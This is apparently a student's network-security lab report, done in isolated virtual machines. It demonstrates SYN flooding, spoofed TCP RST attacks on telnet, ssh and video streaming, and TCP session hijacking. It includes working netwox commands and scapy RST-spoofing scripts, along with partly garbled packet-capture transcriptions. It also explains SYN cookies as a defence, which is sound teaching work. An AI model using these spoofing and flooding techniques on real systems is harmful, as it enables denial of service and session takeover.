Computer Network Security Lab 3 TCP Attack Lab


PES1201801948
Bharath S Bhambore
Section H

Lab Setup:


Attacker: 10.0.2.9

Victim/Client: 10.0.2.10 Observer/Server: 10.0.2.11


Task 1: SYN Flooding Attack




As seen in the screenshot, the victim's queue size is 128. We also see the current open ports that are awaiting connections (LISTEN stage.) Syn cookies is also disabled.




If a port had a half-open connection (only SYN received and no ACK from the client), then the state would've been SYN_RECV. If the 3-way handshake completes, the state changes to ESTABLISHED.





In order to perform the SYN flooding attack, we run the netwox tool with task number 76, performing netstat after the netwox command, we can see arbitrary machines sending TCP SYN Packets to the IP address specified.






Our telnet request from the Observer machine is on hold, it doesn't even get into the TCP Stack as we can see in the wireshark capture.






Since the connection times out, our request is dropped. Hence the observer is denied of its service.



Enabling SYN Cookies



Running the netwox command, SYN requests are sent from random IPs.

```
🔞 🗐 📵 /bin/bash
                                                                                                                                                                                                                                                                                                                                                                                                                                                  /bin/bash 66x24
 Bharath-PES1201801948-VM3:~$ telnet 10.0.2.10
 Trying 10.0.2.10...
Connected to 10.0.2.10.
Escape character is '^]'.
   Ubuntu 16.04.2 LTS
 VM login: seed
 Password:
    Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
                 18 883-1-82-46 83-381-13 8168988. 48-8-2.11
19 8021-02-14 03:30:13-316/936. PcsCompu. 66:78:1c
29 021-02-14 03:30:13-316/936. PcsCompu. 66:78:1c
29 021-02-14 03:30:13-316/936. PcsCompu. 66:78:1c
22 021-02-14 03:30:13-816975. 18-2-18
22 021-02-14 03:30:13-816975. 18-2-18
22 021-02-14 03:30:13-8169745. 10-0.2-11
24 0221-02-14 03:30:13-8169745. 10-0.2-11
24 0221-02-14 03:30:13-8176764. 10-0.2-10
25 021-02-14 03:30:13-8176764. 10-0.2-10
26 021-02-14 03:30:13-8176764. PcsCompu. 66:78:1c
27 021-02-14 03:30:14-569065. PcsCompu. 66:78:1c
27 021-02-14 03:30:14-56901. PcsCompu. 66:78:1c
28 021-02-14 03:30:14-56901. PcsCompu. 66:78:1c
28 021-02-14 03:30:15-5431356. 10-0.2-10
31 021-02-14 03:30:15-5431576. 10-0.2-11
33 021-02-14 03:30:15-543266. 10-0.2-11
35 021-02-14 03:30:15-543266. 10-0.2-11
36 021-02-14 03:30:15-543266. 10-0.2-11
36 021-02-14 03:30:15-543266. 10-0.2-11
37 021-02-14 03:30:15-543266. 10-0.2-11
38 021-02-14 03:30:15-543266. 10-0.2-11
39 021-02-14 03:30:15-543266. 10-0.2-11
40 021-02-14 03:30:15-543266. 10-0.2-11
40 021-02-14 03:30:15-543266. 10-0.2-11
41 021-02-14 03:30:15-543266. 10-0.2-11
42 021-02-14 03:30:15-543266. 10-0.2-11
43 021-02-14 03:30:15-543266. 10-0.2-11
44 021-02-14 03:30:15-543266. 10-0.2-11
45 021-02-14 03:30:15-543266. 10-0.2-11
47 021-02-14 03:30:15-543266. 10-0.2-11
48 021-02-14 03:30:15-543266. 10-0.2-11
48 021-02-14 03:30:15-640152. 10-0.2-11
49 021-02-14 03:30:15-660074. 10-0.2-10
49 021-02-14 03:30:15-660074. 10-0.2-10
49 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14 03:30:15-660074. 10-0.2-10
59 021-02-14
                                                                                                                                                                                                                                                                                                                                                                                                                           44 10.9.2.11 is at 68:08:27:46:38:98


76 23 - 43512 | SYN, RAY, Sep2210343566 AGR=1703529516 Win=28966 Len=6 MSS=1468 SACK PERM=1
66 43512 - 23 [ACK] Sep2210345367 AGR=1703529516 Win=28912 Len=6 TSval=380591 TSecr=345175
67 43512 - 23 [ACK] Sep2210345367 AGR=1703529543 Win=28912 Len=6 TSval=345189 TSecr=386951
62 Who has 169.254.76:1257 Tell 10.0.2.16
62 Who has 169.254.76:1257 Tell 10.0.2.16
62 Who has 169.254.22.72 Tell 10.0.2.10
62 Who has 169.254.22.587 Tell 10.0.2.16
63 Who has 169.254.22.587 Tell 10.0.2.16
64 Who has 169.254.22.587 Tell 10.0.2.16
65 Who has 169.254.22.587 Tell 10.0.2.16
66 Who has 169.254.22.587 Tell 10.0.2.16
67 Who has 169.254.22.587 Tell 10.0.2.16
68 Who has 169.254.22.587 Tell 10.0.2.16
68 Who has 169.254.22.587 Tell 10.0.2.16
68 Who has 169.254.22.587 Tell 10.0.2.16
69 Who has 169.254.22.587 Tell 10.0.2.16
60 Who has 169.254.22.587 Tell 10.0.2.16
61 Who has 169.254.22.587 Tell 10.0.2.16
62 Who has 169.254.22.587 Tell 10.0.2.16
63 Who has 169.254.22.587 Tell 10.0.2.16
64 Who has 169.254.22.587 Tell 10.0.2.16
65 Who has 160.254 Secr=3655 AGR=251634544 Win=29312 Len=6 TSval=361639 TSecr=345624
67 Telnet Data ...
68 Who has 160.254 Secr=178529615 AGR=2516345454 Win=29312 Len=6 TSval=361639 TSecr=345636
68 Who has 160.254 Secr=178529615 AGR=2516345454 Win=29312 Len=6 TSval=361639 TSecr=345636
69 Who has 160.254 Secr=367 Tell 10.0.2.16
60 Who has 160.254 Secr=367 Tell 10.0.2.16
60 Who has 160.254 Secr=367 Tell 10.0.2.16
60 Who has 160.254 Secr=367 Tell 10.0.2.16
61 Who has 160.254 Secr=367 Tell 10.0.2.16
62 Who has 160.254 Secr=367 Tell 10.0.2.16
63 Who has 160.254 Secr=367 Tell 10.0.2.16
64 Who has 160.254 Secr=367 Tell 10.0.2.16
65 Who has 160.254 Secr=367 Tell 10.0.2.16
66 Who has 160.254 Secr=367 Tell 10.0.2.16
67 Who has 160.254 Secr=367 Tell 10.0.2.16
68 Who has 160.254 Tell 10.02.16
69 Telnet Data ...
69 Telnet Data ...
69 Telnet Data ...
69
                                                                                                                                                                                                                                                                                                                                                                                       ARP
ARP
TELNET
TCP
TELNET
TCP
TELNET
TCP
TELNET
                                                                                                                                                                                                                                                                                                                                                                                    TELNET
TELNET
TELNET
TELNET
TCP
TCP
TCP
ARP
ARP
ARP
UDP
TELNET
TCP
ARP
ARP
                                                                                                                                                                                                                                                                                                                                                                                                                                            00 43512 - C3 [pkk] set[-1703529017 MCK-2510349490 WIN-29312 Len-0 ISVAI-301711 ISECT-340309 60 Telnet Data ... 69 Telnet Data ... 69 Telnet Data ... 69 Telnet Data ... 68 43512 - 23 [ACK] seq-1703529618 Ack-2510345457 Win-29312 Len-0 TSVAI-301733 TSecr-346330 62 Who has 169 .254_24_2377 Tell 10.0_2.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Packets: 1273 · Displayed: 1273 (100.0%)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Profile: Default
```

We can see the wireshark capture during the session


The SYN cookie can effectively prevent the server from SYN flood attack because it does not allocate resources when it receives the SYN packet, it allocates resources only if the server receives the final ACK packet. This prevents from having the queue as a bottleneck, and instead consume resources only for the established connections.


Hence, our telnet login request is serviced implying we successfully prevented SYN flood attack.

Task 2: TCP RST Attacks on telnet and ssh connections




Telnetting into the server machine, we capture the request of this session.






Running the netwox command with the appropriate IPs, Ports and sequence numbers.

The above command sends a spoofed RST packet which closes an established connection.




WE can see the connection is closed.




Similarly using scapy, the script used is given below along with the wireshark capture

```
Bharath-PES1201801948-VM1:~$ cat reset_tcp.py
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending reset packet .....")
IPLayer = IP(src="10.0.2.11" , dst="10.0.2.10")
TCPLayer = TCP(sport=23, dport=56938, flags="R" , seq=152272485)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
Bharath-PES1201801948-VM1:~$
```




Running the script, we can see the RST packet is sent and closes the connection.



Closing ssh connections

```
Bharath-PES1201801948-VM2:~$ ssh seed@10.0.2.11
The authenticity of host '10.0.2.11 (10.0.2.11)' can't be establis
hed.
ECDSA key fingerprint is SHA256:plzAio6c1bI+8HDp5xa+eKRi561aFDaPE1
/xgleYzCI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.2.11' (ECDSA) to the list of know
seed@10.0.2.11's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
 * Documentation: https://help.ubuntu.com
 * Management:
                  https://landscape.canonical.com
* Support:
                   https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Sun Feb 14 04:44:27 2021 from 10.0.2.10
Bharath-PES1201801948-VM3:~$
```

Firstly, we establish an ssh connection



Wireshark captures the session packets

```
Bharath-PES1201801948-VM1:~$ sudo netwox 40 -l 10.0.2.11 -m 10.0.2
.10 -o 22 -p 56702 -B -q 3364531775
IΡ
 version
             ihl
                           tos
                                                     totlen
                         0 \times 00 = 0
                                                    0 \times 0028 = 40
    4
                                       r|D|M
                  id
                                                       offsetfrag
            0x41C2=16834
                                       0 0 0
                                                        0 \times 0000 = 0
        ttl
                        protocol
                                                    checksum
     0 \times 00 = 0
                         0x06=6
                                                     0x60FA
                                  source
                                 10.0.2.11
                                destination
                                 10.0.2.10
TCP
             source port
                                               destination port
              0x0016=22
                                                  0xDD7E=56702
                                  segnum
                          0xC88AAE3F=3364531775
                                  acknum
                               0x00000000=0
  doff
          r|r|r|r|C|E|U|A|P|R|S|F|
                                                     window
          0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
                                                    0 \times 0000 = 0
              checksum
                                                     urgptr
            0x436D=17261
                                                    0 \times 00000 = 0
```

Running the netwox command with appropriate IP, Port and Seq numbers, a spoofed RST packet is sent to close the ssh connection

```
Destination
Source
                                                Protocol Length Info
                                                             64 56428 → 51504 Len=0
::1
                        ::1
                                                UDP
                                                UDP
                                                             64 56428 → 51504 Len=0
::1
                        ::1
                                                UDP
                                                             64 56428 → 51504 Len=0
::1
                        ::1
PcsCompu_18:f3:6a
                                                ARP
                                                             62 Who has 10.0.2.11? Te
10.0.2.10
                                                            344 DHCP Request
                        10.0.2.3
                                                DHCP
                                                DHCP
                                                            592 DHCP ACK
10.0.2.3
                        10.0.2.10
::1
                        . . 1
                                                LIDP
                                                             64 56428 - 51504 Len=0
▶ Frame 47: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interfac
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10
▼ Transmission Control Protocol, Src Port: 22, Dst Port: 56702, Seq: 3364531775,
    Source Port: 22
    Destination Port: 56702
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 3364531775
    Acknowledgment number: 0
    Header Length: 20 bytes
  ▶ Flags: 0x004 (RST)
    Window size value: 0
    [Calculated window size: 0]
```

We can see the ssh connection closed due to a broken pipe

```
Bharath-PES1201801948-VM2:~$ ssh seed@10.0.2.11
The authenticity of host '10.0.2.11 (10.0.2.11)' can't be establis
hed.
ECDSA key fingerprint is SHA256:plzAio6c1bI+8HDp5xa+eKRi561aFDaPE1
/xqleYzCI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.2.11' (ECDSA) to the list of knd -
n hosts.
seed@10.0.2.11's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Sun Feb 14 04:44:27 2021 from 10.0.2.10
Bharath-PES1201801948-VM3:~$ packet write wait: Connection to 10.0
.2.11 port 22: Broken pipe
Bharath-PES1201801948-VM2:~$
```

Running a scapy script can also do the same as the above

```
Bharath-PES1201801948-VM1:~$ cat tcp_ssh.py
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending reset packet .....")
IPLayer = IP(src="10.0.2.11" , dst="10.0.2.10")
TCPLayer = TCP(sport=22, dport=56706,flags="R" ,seq=2933163331)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
Bharath-PES1201801948-VM1:~$
```

```
Source
                     Destination
                                           Protocol Length Info
10.0.2.10
                     10.0.2.11
                                           SSHv2
                                                     512 Client: Encrypted packet
10.0.2.11
                     10.0.2.10
                                           TCP
                                                     68 22 → 56706 [ACK] Seq=2933:
10.0.2.11
                     10.0.2.10
                                           SSHv2
                                                     176 Server: Encrypted packet
10.0.2.11
                     10.0.2.10
                                           SSHv2
                                                     440 Server: Encrypted packet
10.0.2.10
                                                      68 56706 → 22 [ACK] Seq=3472:
                     10.0.2.11
                                           TCP
10.0.2.10
                                           TCP
                     10.0.2.11
                                                      68 56706 → 22 [ACK] Seq=3472:
::1
                     ::1
                                           UDP
                                                      64 56428 → 51504 Len=0
::1
                                           UDP
                                                      64 56428 → 51504 Len=0
                     ::1
▶ Frame 38: 136 bytes on wire (1088 bits), 136 bytes captured (1088 bits) on inte
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10
▼ Transmission Control Protocol, Src Port: 22, Dst Port: 56706, Seq: 2933163263,
    Source Port: 22
    Destination Port: 56706
    [Stream index: 0]
    [TCP Segment Len: 68]
    Sequence number: 2933163263
    [Next sequence number: 2933163331]
    Acknowledgment number: 3472212406
    Header Length: 32 bytes
   ▶ Flags: 0x018 (PSH, ACK)
    Window size value: 270
```

n order for our attack to be successful, we need to make sure that the sequence number is exactly what is next expected by the server or else our attack will fail. Then we run the program on the attacker machine and see that the connection closes on the client machine:

```
Bharath-PES1201801948-VM1:~$ sudo python tcp ssh.py
Sending reset packet .
            : BitField (4 bits)
version
                                                     = 4
 (4)
ihl
            : BitField (4 bits)
                                                     = None
 (None)
tos
            : XByteField
 (0)
            : ShortField
                                                     = None
len
 (None)
            : ShortField
                                                     = 1
id
(1)
flags
            : FlagsField (3 bits)
                                                     = \langle Flag 0 () \rangle
 (<Flag 0 ()>)
            : BitField (13 bits)
frag
(0)
ttl
            : ByteField
                                                     = 64
 (64)
            : ByteEnumField
                                                     = 6
proto
 (0)
            : XShortField
chksum
                                                     = None
 (None)
            : SourceIPField
                                                     = '10.0.2.11'
src
 (None)
```

```
Source
                      Destination
                                             Protocol Length Info
::1
                      ::1
                                             UDP
                                                         64 56428 → 51504 Len=0
PcsCompu_66:f8:1c
                                             ARP
                                                         44 Who has 10.0.2.3? Tell 10
PcsCompu_8c:d6:0d
                                                         62 10.0.2.3 is at 08:00:27:80
                                             ARP
::1
                      ::1
                                             UDP
                                                         64 56428 → 51504 Len=0
::1
                                             UDP
                                                         64 56428 → 51504 Len=0
                      ::1
PcsCompu_18:f3:6a
                                             ARP
                                                         62 Who has 10.0.2.10? Tell 10
PcsCompu_66:f8:1c
                                             ARP
                                                         44 10.0.2.10 is at 08:00:27:0
                      10.0.2.10
10.0.2.11
                                                         62 22 → 56706 [RST] Seq=2933
```

*() ()

▶ Frame 53: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interfac

▶ Linux cooked capture

▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10

▼ Transmission Control Protocol, Src Port: 22, Dst Port: 56706, Seq: 2933163331,

Source Port: 22

Destination Port: 56706 [Stream index: 0] [TCP Segment Len: 0]

Sequence number: 2933163331 Acknowledgment number: 0 Header Length: 20 bytes

▶ Flags: 0x004 (RST)
Window size value: 8192

[Calculated window size: 1048576]

Bharath-PES1201801948-VM2:~\$ ssh seed@10.0.2.11 seed@10.0.2.11's password: Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage

0 packages can be updated.

O updates are security updates.


Last login: Sun Feb 14 04:57:47 2021 from 10.0.2.10

Bharath-PES1201801948-VM3:~\$ packet_write_wait: Connection to 10.0

.2.11 port 22: Broken pipe

Bharath-PES1201801948-VM2:~\$

Task 3: TCP RST Attacks on Video Streaming Applications



The video stream breaks indicating that the attack was successful by breaking the TCP connection using TCP RST Attack.

Youtube continues to play the video as it starts a new connection on the next available port and a complete TCP handshake and TLS handshake takes place every time the previous connection breaks. The previously half-closed connection is also completely closed by the victim by sending an RST packet. Since YouTube starts a new connection every time the previous connection breaks (using RST), the attack is unsuccessful to cause a network error.

No.	Time	Source	Destination	Protocol	Length Info
	2029 2020-02-20 16:10:19.792633831	172.217.10.238	19.0.2.8	TCP	54 443 + 40340 [RST, ACK] Seq=32967 Ack=3889666722 Win=0 Le
	2030 2020-02-20 16:10:19.794055217	10.0.2.8	172.217.10.238	TCP	74 48342 - 443 [SYN] Seq=94725212 Win=29289 Len=9 MSS=1468
	2831 2828-82-28 16:18:19.795389714	172.217.10.238	10.0.2.8	TLSv1.2	1514 Server Hello
-	2032 2020-02-20 15:10:19.795507004	10.0.2.8	172.217.10.238	TCP	68 48348 - 443 [RST] Seq=3889667238 Win=0 Len=0
	2033 2020-02-20 16:10:19.823517103	172.217-10.238	10.0.2.8	TCP	60 443 + 40342 [SYN, ACK] Seq=33485 Ack=94725213 Win=32768
	2034 2020-02-20 16:10:19.823861412	10.0.2.8	172.217.10.238	TCP	60 40342 - 443 [ACK] Seq=94725213 Ack=33486 Win=29200 Len=6
	2935 2929-92-29 16:19:19.849628929	19.0.2.8	172.217.19.238	TLSv1.2	571 Client Hello
	2036 2020-02-20 16:10:19.847443998	172.217.10.238	10.0.2.8	TCP	54 443 - 40342 [RST, ACK] Seq=0 Ack=94725213 Win=0 Len=0
	2037 2020-02-20 16:10:19.847926024	172.217.19.238	10.0.2.8	TCP	54 443 - 40342 [RST, ACK] Seq=33486 Ack=94725214 Win=0 Len=
	2038 2020-02-20 16:10:19.848117723	172.217.19.238	10.0.2.8	TCP	54 443 - 40342 [RST, ACK] Seq=33486 Ack=94725214 Win=0 Len=
	2039 2020-02-20 16:10:19.862713063	10.0.2.8	172.217.10.238	TCP	74 49344 - 443 [SYN] Seq=2267672918 Win=29200 Len=0 MSS=146
	2040 2020-02-20 16:10:19.873053338	172.217.10.238	19.0.2.8	TLSv1.2	2974 Server Hello
	2041 2020-02-20 16:10:19.873469251	10.0.2.8	172.217.10.238	TCP	69 49342 - 443 [RST] Seq=94725739 Win=8 Len=8
	2042 2020-02-20 16:10:19.882433647	172.217.10.238	19.9.2.8	TCP	60 443 + 40344 [SYN, ACK] Seq=34004 Ack=2267672919 Win=3270
	2043 2020-02-20 16:10:19.882607741	10.0.2.8	172.217.10.238	TCP	60 40344 - 443 [ACK] Seq=2267672919 Ack=34005 Win=29200 Ler
	2044 2020-02-20 16:10:19.894420100	10.0.2.8	172.217.10.238	TLSv1.2	571 Client Hello
	2945 2920-92-20 16:10:19.993695564	172.217.19.238	10.0.2.8	TCP	54 443 + 49344 [RST, ACK] Seq=0 Ack=2267672919 Win=0 Len=0
	2046 2020-02-20 16:10:19.904153409	172.217.19.238	10.0.2.8	TCP	54 443 - 40344 [RST, ACK] Seq=34005 Ack=2267672920 Win=0 Le
	2047 2020-02-20 16:10:19.904323688	172.217.19.238	10.0.2.8	TCP	54 443 - 40344 [RST, ACK] Seq=34005 Ack=2267672920 Win=0 Le
	2048 2020-02-20 16:10:19.905794877	10.0.2.8	172.217.10.238	TCP	74 40346 - 443 [SYN] 5eq=1792000837 Win=29200 Len=0 MSS=146
_	2049 2020-02-20 16:10:19.922634773	172.217.10.238	10.0.2.8	TLSv1.2	2974 Server Hello
	2050 2020-02-20 16:10:19.923368672	19.0.2.8	172.217.19.238	TCP	60 40344 - 443 [RST] Seq=2267673436 Win=0 Len=0
	2951 2020-02-20 16:10:19.937286330	172.217.10.238	19.0.2.8	TCP	69 443 - 40346 [SYN, ACK] Seq=34523 Ack=1792000838 Win=3270
	2052 2020-02-20 16:10:19.938660962	10.0.2.8	172.217.19.238	TCP	60 40346 - 443 [ACK] Seq=1792000838 Ack=34524 Win=29200 Len
	2053 2020-02-20 16:10:19.941512167	10.0.2.8	172.217.10.238	SSL	571 Client Hello
	2054 2020-02-20 16:10:19.959691291	172.217.10.238	10.0.2.8	TCP	54 443 - 40346 [RST, ACK] Seq=0 Ack=1792000838 W1n=0 Len=0
	2055 2020-02-20 16:10:19.959895077	172.217.10.238	10.0.2.8	TCP	54 443 - 40346 [RST, ACK] Seq=34524 Ack=1792000039 Win=0 Le
	2056 2020-02-20 16:10:19.960052957	172.217.10.238	19.9.2.8	TCP	54 443 - 40346 [RST, ACK] Seq=34524 Ack=1792000039 Win=0 Le
	2057 2020-02-20 16:10:19.961732690	19.9.2.8	172.217.10.238	TCP	74 40348 - 443 [SYN] Seq=502178653 Win=29200 Len=0 MSS=1466
	2058 2020-02-20 16:10:19.970696988	172.217.10.238	10.0.2.8	TCP	60 443 - 40346 [ACK] Seq=34524 Ack=1792001355 Win=32251 Ler
	2059 2020-02-20 16:10:19.970972526	10.0.2.8	172.217.10.238	TCP	60 40346 - 443 [RST] Seq=1792001355 Win=0 Len=0
	2060 2020-02-20 16:10:19.985846723	172.217.10.238	19.0.2.8	TCP	60 443 + 40348 [SYN, ACK] Seq=35042 Ack=502170654 Win=32760
	2961 2920-92-20 16:19:19.986631596	10.0.2.8	172.217,10.238	TCP	60 40348 - 443 [ACK] Seq=502178654 Ack=35043 Win=29200 Len-
	2862 2828-82-28 16:18:28.885312295	19.9.2.8	172.217.10.238	TLSv1.2	571 Client Hello
	2063 2020-02-20 16:10:20.015408609	172.217.10.238	10.0.2.8	TCP TCP	54 443 - 48348 [RST, ACK] Seq=8 Ack=582178654 Win=8 Len=8
	2064 2026-02-20 16:10:20.015609938	172.217.10.238	10.0.2.8	TCP	54 443 - 40348 [RST, ACK] Seg=35043 Ack=502178655 Win=0 Ler


Task 4: TCP Session Hijacking


```
Ubuntu16.04 - 3 [Running] - Oracle VM VirtualBox
                                                                  File Machine View Input Devices Help
                                                   1 En 🕟 ◆)) 6:06 AM 😃
 Terminator
      🔞 🖨 🕕 /bin/bash
      Bharath-PES1201801948-VM3:~$ mkdir TCP
      Bharath-PES1201801948-VM3:~$ cd TCP/
      Bharath-PES1201801948-VM3:~/TCP$ touch new.txt
      Bharath-PES1201801948-VM3:~/TCP$ ls -l
      total 0
      -rw-rw-r-- 1 seed seed 0 Feb 14 06:05 new.txt
Bharath-PES1201801948-VM2:~$ telnet 10.0.2.11
Trying 10.0.2.11...
Connected to 10.0.2.11.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sun Feb 14 06:07:43 EST 2021 from 10.0.2.10 on pts/2
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
 * Documentation:
                    https://help.ubuntu.com
 * Management:
                    https://landscape.canonical.com
                    https://ubuntu.com/advantage
 * Support:
0 packages can be updated.
0 updates are security updates.
Bharath-PES1201801948-VM3:~$ cd TCP/
Bharath-PES1201801948-VM3:~/TCP$ ll
total 0
-rw-rw-r-- 1 seed seed 0 Feb 14 06:05 new.txt
Bharath-PES1201801948-VM3:~/TCP$
```


We then establish a connection between the client and server and sniff the packets in order to find the latest sent packet. The details of this packet will be used to construct the spoofed packet:

```
.4 06:08:58.8914232... 10.0.2.11
                                         10.0.2.10
                                                                  TELNET
                                                                              77 Telne
4 06:08:58.8914515... 10.0.2.10
                                            10.0.2.11
                                                                  TCP
                                                                              68 45226
                                                                  TELNET
                                                                             115 Telne
4 06:08:58.8920393... 10.0.2.11
                                           10.0.2.10
4 06:08:58.8920492... 10.0.2.10
                                           10.0.2.11
                                                                  TCP
                                                                              68 45226
4 06:08:58.8931447... 10.0.2.11
4 06:08:58.8931575... 10.0.2.10
                                            10.0.2.10
                                                                  TELNET
                                                                              101 Telne
                                                                  TCP
                                                                              68 45226
                                            10.0.2.11
                                                                  UDP
.4 06:09:08.7561227... ::1
                                            ::1
                                                                              64 60599
4 06:09:28.7781095... ::1
                                                                  UDP
                                                                              64 60599
                                            ::1
▶ Frame 89: 101 bytes on wire (808 bits), 101 bytes captured (808 bits) on interf
▶ Linux cooked capture
▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10
▼ Transmission Control Protocol, Src Port: 23, Dst Port: 45226, Seq: 2486344069,
     Source Port: 23
     Destination Port: 45226
     [Stream index: 0]
     [TCP Segment Len: 33]
     Sequence number: 2486344069
     [Next sequence number: 2486344102]
     Acknowledgment number: 531163276
     Header Length: 32 bytes
   ▶ Flags: 0x018 (PSH, ACK)
     Window size value: 227
```

By running the netwox tool 40, we then spoof a packet from 10.0.2.10 to 10.0.2.11 such that it contains a command to delete a file. However, for demonstration purposes we just create a file and write to it. The sequence number, acknowledgement number and the source port are obtained from the last packet.







We can see that the File has been deleted

10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment PcsCompu_4e:3a:96 ARP 62 Who has 10.0.2.10? Tell 1 PcsCompu_66:f8:1c ARP 44 10.0.2.10 is at 08:00:27: 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP BY Tell TELNET 69 Tell TCP ACKED Unseen segment 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 10.0.2.10 TCP 80 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 69 [TCP Keep-Al	40 0 0 44	10 0 0 10	TAR	470 From Moved
10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment PcsCompu_4e:3a:96 ARP 62 Who has 10.0.2.10? Tell 1 PcsCompu_66:f8:1c ARP 44 10.0.2.10 is at 08:00:27: 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 TELNET 69 Telnet Data TCP 10.0.2.11 TCP 80 [TCP Dup ACK 128#1] [TCP 10.0.2.11 TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.11 TCP 69 [TCP Kee	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
10.0.2.11	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
PCSCOMPU_4e:3a:96 PCSCOMPU_66:f8:1c ARP ARP A4 10.0.2.10 is at 08:00:27: 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 69 [TCP Keep-Alive] 45226 → 10.0.2.10 TCP 80 [TCP Keep-Alive ACK] [TCP 10.0.2.11 TCP 10.0.2.10 TCP 10.0.2.11 TCP 10.0.2	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
PcsCompu_66:f8:1c ARP 44 10.0.2.10 is at 08:00:27: 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 69 [TCP Keep-Alive] 45226 → 69 [T	10.0.2.11	10.0.2.10	TCP	178 [TCP ACKed unseen segment
10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.10 TCP 178 [TCP ACKed unseen segment 10.0.2.11 10.0.2.11 TELNET 69 Telnet Data 10.0.2.11 10.0.2.10 TCP 80 [TCP Dup ACK 128#1] [TCP 80 [TCP Dup ACK 12	PcsCompu_4e:3a:96		ARP	62 Who has 10.0.2.10? Tell 1
